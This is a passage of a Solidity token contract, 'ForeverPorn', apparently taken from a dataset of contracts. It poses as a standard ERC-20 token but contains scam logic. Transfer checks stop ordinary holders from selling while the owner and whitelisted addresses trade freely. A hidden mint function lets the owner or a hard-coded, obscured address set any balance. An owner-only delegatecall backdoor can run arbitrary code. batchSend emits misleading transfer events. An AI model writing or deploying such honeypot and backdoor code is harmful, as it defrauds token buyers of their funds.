function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ForeverPorn {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,131 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.